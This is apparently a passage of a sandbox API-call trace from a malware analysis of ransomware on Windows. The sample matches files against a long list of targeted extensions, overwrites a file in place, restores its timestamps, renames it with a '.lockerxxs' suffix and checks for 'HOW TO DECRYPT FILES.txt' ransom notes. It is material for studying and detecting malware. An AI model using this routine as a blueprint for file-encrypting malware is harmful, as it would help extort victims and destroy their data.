(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.pfx") returned 0 [0086.454] lstrlenA (lpString="*.pfx") returned 5 [0086.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.pem") returned 0 [0086.454] lstrlenA (lpString="*.pem") returned 5 [0086.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.p12") returned 0 [0086.454] lstrlenA (lpString="*.p12") returned 5 [0086.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.gpg") returned 0 [0086.454] lstrlenA (lpString="*.gpg") returned 5 [0086.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.vsd") returned 0 [0086.454] lstrlenA (lpString="*.vsd") returned 5 [0086.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.odg") returned 0 [0086.454] lstrlenA (lpString="*.odg") returned 5 [0086.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.raw") returned 0 [0086.455] lstrlenA (lpString="*.raw") returned 5 [0086.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.nef") returned 0 [0086.455] lstrlenA (lpString="*.nef") returned 5 [0086.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.svg") returned 0 [0086.455] lstrlenA (lpString="*.svg") returned 5 [0086.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.psd") returned 0 [0086.455] lstrlenA (lpString="*.psd") returned 5 [0086.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.vmx") returned 0 [0086.455] lstrlenA (lpString="*.vmx") returned 5 [0086.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.vmdk") returned 0 [0086.455] lstrlenA (lpString="*.vmdk") returned 6 [0086.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.vdi") returned 0 [0086.455] lstrlenA (lpString="*.vdi") returned 5 [0086.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.lay6") returned 0 [0086.455] lstrlenA (lpString="*.lay6") returned 6 [0086.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.mpeg") returned 0 [0086.455] lstrlenA (lpString="*.mpeg") returned 6 [0086.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.djvu") returned 0 [0086.455] lstrlenA (lpString="*.djvu") returned 6 [0086.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.tiff") returned 0 [0086.455] lstrlenA (lpString="*.tiff") returned 6 [0086.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.backup") returned 0 [0086.455] lstrlenA (lpString="*.backup") returned 8 [0086.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.pdf") returned 0 [0086.455] lstrlenA (lpString="*.pdf") returned 5 [0086.455] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.cert") returned 0 [0086.456] lstrlenA (lpString="*.cert") returned 6 [0086.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.docm") returned 0 [0086.456] lstrlenA (lpString="*.docm") returned 6 [0086.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.xlsm") returned 0 [0086.456] lstrlenA (lpString="*.xlsm") returned 6 [0086.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.dwg") returned 0 [0086.456] lstrlenA (lpString="*.dwg") returned 5 [0086.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.nd") returned 0 [0086.456] lstrlenA (lpString="*.nd") returned 4 [0086.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.tlg") returned 0 [0086.456] lstrlenA (lpString="*.tlg") returned 5 [0086.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.lgb") returned 0 [0086.456] lstrlenA (lpString="*.lgb") returned 5 [0086.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.mov") returned 0 [0086.456] lstrlenA (lpString="*.mov") returned 5 [0086.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.xdw") returned 0 [0086.456] lstrlenA (lpString="*.xdw") returned 5 [0086.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.ods") returned 0 [0086.456] lstrlenA (lpString="*.ods") returned 5 [0086.456] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", pszSpec="*.wav") returned 1 [0086.456] lstrlenA (lpString="*.wav") returned 5 [0086.456] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav" [0086.456] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav" [0086.456] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav." [0086.456] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav.lockerxxs" [0086.457] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\83mjf1amvzxh9gljh.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.457] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x6d4b [0086.457] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x3fbe2430, dwHighDateTime=0x1d5e785), lpLastAccessTime=0x407536*(dwLowDateTime=0x2f0ade50, dwHighDateTime=0x1d5db6c), lpLastWriteTime=0x40753e*(dwLowDateTime=0x2f0ade50, dwHighDateTime=0x1d5db6c)) returned 1 [0086.457] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.457] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x6d25, lpOverlapped=0x0) returned 1 [0086.459] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav") returned="83MJf1AMvZXh9glJh.wav" [0086.459] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.459] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x6d25, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x6d25, lpOverlapped=0x0) returned 1 [0086.460] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.460] CloseHandle (hObject=0x90) returned 1 [0086.460] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\83mjf1amvzxh9gljh.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\83mjf1amvzxh9gljh.wav.lockerxxs")) returned 1 [0086.462] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a982a80, ftCreationTime.dwHighDateTime=0x1d5e40f, ftLastAccessTime.dwLowDateTime=0x80f9d3e0, ftLastAccessTime.dwHighDateTime=0x1d5e3c0, ftLastWriteTime.dwLowDateTime=0x80f9d3e0, ftLastWriteTime.dwHighDateTime=0x1d5e3c0, nFileSizeHigh=0x0, nFileSizeLow=0x16dbb, dwReserved0=0x4e0244, dwReserved1=0x4e0000, cFileName="8SHML5f4R.flv", cAlternateFileName="8SHML5~1.FLV")) returned 1 [0086.463] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.463] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8SHML5f4R.flv") returned 1 [0086.463] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8SHML5f4R.flv") returned 1 [0086.463] lstrcmpiA (lpString1="", lpString2="8SHML5f4R.flv") returned -1 [0086.463] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\83MJf1AMvZXh9glJh.wav") returned="83MJf1AMvZXh9glJh.wav" [0086.463] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.463] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.463] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.463] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.463] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="8SHML5f4R.flv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv" [0086.463] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.ems") returned 0 [0086.463] lstrlenA (lpString="*.ems") returned 5 [0086.463] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.db") returned 0 [0086.463] lstrlenA (lpString="*.db") returned 4 [0086.463] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.dbf") returned 0 [0086.463] lstrlenA (lpString="*.dbf") returned 5 [0086.463] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.myox") returned 0 [0086.463] lstrlenA (lpString="*.myox") returned 6 [0086.463] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.myo") returned 0 [0086.463] lstrlenA (lpString="*.myo") returned 5 [0086.463] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.qbw") returned 0 [0086.463] lstrlenA (lpString="*.qbw") returned 5 [0086.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.qbb") returned 0 [0086.464] lstrlenA (lpString="*.qbb") returned 5 [0086.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.qbm") returned 0 [0086.464] lstrlenA (lpString="*.qbm") returned 5 [0086.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.qbo") returned 0 [0086.464] lstrlenA (lpString="*.qbo") returned 5 [0086.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.qbx") returned 0 [0086.464] lstrlenA (lpString="*.qbx") returned 5 [0086.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.qba") returned 0 [0086.464] lstrlenA (lpString="*.qba") returned 5 [0086.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.qby") returned 0 [0086.464] lstrlenA (lpString="*.qby") returned 5 [0086.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.qbj") returned 0 [0086.464] lstrlenA (lpString="*.qbj") returned 5 [0086.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.ofx") returned 0 [0086.464] lstrlenA (lpString="*.ofx") returned 5 [0086.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.qif") returned 0 [0086.464] lstrlenA (lpString="*.qif") returned 5 [0086.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.mye") returned 0 [0086.464] lstrlenA (lpString="*.mye") returned 5 [0086.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.mbox") returned 0 [0086.464] lstrlenA (lpString="*.mbox") returned 6 [0086.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.eml") returned 0 [0086.464] lstrlenA (lpString="*.eml") returned 5 [0086.464] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.pst") returned 0 [0086.464] lstrlenA (lpString="*.pst") returned 5 [0086.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.ost") returned 0 [0086.465] lstrlenA (lpString="*.ost") returned 5 [0086.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.idx") returned 0 [0086.465] lstrlenA (lpString="*.idx") returned 5 [0086.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.dbx") returned 0 [0086.465] lstrlenA (lpString="*.dbx") returned 5 [0086.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.sql") returned 0 [0086.465] lstrlenA (lpString="*.sql") returned 5 [0086.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.mdb") returned 0 [0086.465] lstrlenA (lpString="*.mdb") returned 5 [0086.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.fdb") returned 0 [0086.465] lstrlenA (lpString="*.fdb") returned 5 [0086.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.wab") returned 0 [0086.465] lstrlenA (lpString="*.wab") returned 5 [0086.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.dat") returned 0 [0086.465] lstrlenA (lpString="*.dat") returned 5 [0086.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.txt") returned 0 [0086.465] lstrlenA (lpString="*.txt") returned 5 [0086.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.jpeg") returned 0 [0086.465] lstrlenA (lpString="*.jpeg") returned 6 [0086.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.jpg") returned 0 [0086.465] lstrlenA (lpString="*.jpg") returned 5 [0086.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.png") returned 0 [0086.465] lstrlenA (lpString="*.png") returned 5 [0086.465] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.php") returned 0 [0086.465] lstrlenA (lpString="*.php") returned 5 [0086.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.cs") returned 0 [0086.466] lstrlenA (lpString="*.cs") returned 4 [0086.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.cpp") returned 0 [0086.466] lstrlenA (lpString="*.cpp") returned 5 [0086.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.rar") returned 0 [0086.466] lstrlenA (lpString="*.rar") returned 5 [0086.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.zip") returned 0 [0086.466] lstrlenA (lpString="*.zip") returned 5 [0086.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.html") returned 0 [0086.466] lstrlenA (lpString="*.html") returned 6 [0086.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.htm") returned 0 [0086.466] lstrlenA (lpString="*.htm") returned 5 [0086.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.xlsx") returned 0 [0086.466] lstrlenA (lpString="*.xlsx") returned 6 [0086.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.xls") returned 0 [0086.466] lstrlenA (lpString="*.xls") returned 5 [0086.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.mp4") returned 0 [0086.466] lstrlenA (lpString="*.mp4") returned 5 [0086.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.ppt") returned 0 [0086.466] lstrlenA (lpString="*.ppt") returned 5 [0086.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.pptx") returned 0 [0086.466] lstrlenA (lpString="*.pptx") returned 6 [0086.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.doc") returned 0 [0086.466] lstrlenA (lpString="*.doc") returned 5 [0086.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.dot") returned 0 [0086.466] lstrlenA (lpString="*.dot") returned 5 [0086.466] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.docx") returned 0 [0086.466] lstrlenA (lpString="*.docx") returned 6 [0086.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.7z") returned 0 [0086.467] lstrlenA (lpString="*.7z") returned 4 [0086.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.tar") returned 0 [0086.467] lstrlenA (lpString="*.tar") returned 5 [0086.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.bz2") returned 0 [0086.467] lstrlenA (lpString="*.bz2") returned 5 [0086.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.gz") returned 0 [0086.467] lstrlenA (lpString="*.gz") returned 4 [0086.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.mkv") returned 0 [0086.467] lstrlenA (lpString="*.mkv") returned 5 [0086.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.eml") returned 0 [0086.467] lstrlenA (lpString="*.eml") returned 5 [0086.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.msg") returned 0 [0086.467] lstrlenA (lpString="*.msg") returned 5 [0086.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.edb") returned 0 [0086.467] lstrlenA (lpString="*.edb") returned 5 [0086.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.accdb") returned 0 [0086.467] lstrlenA (lpString="*.accdb") returned 7 [0086.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.odb") returned 0 [0086.467] lstrlenA (lpString="*.odb") returned 5 [0086.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.java") returned 0 [0086.467] lstrlenA (lpString="*.java") returned 6 [0086.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.asm") returned 0 [0086.467] lstrlenA (lpString="*.asm") returned 5 [0086.467] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.pfx") returned 0 [0086.468] lstrlenA (lpString="*.pfx") returned 5 [0086.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.pem") returned 0 [0086.468] lstrlenA (lpString="*.pem") returned 5 [0086.468] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\8SHML5f4R.flv", pszSpec="*.p12") returned 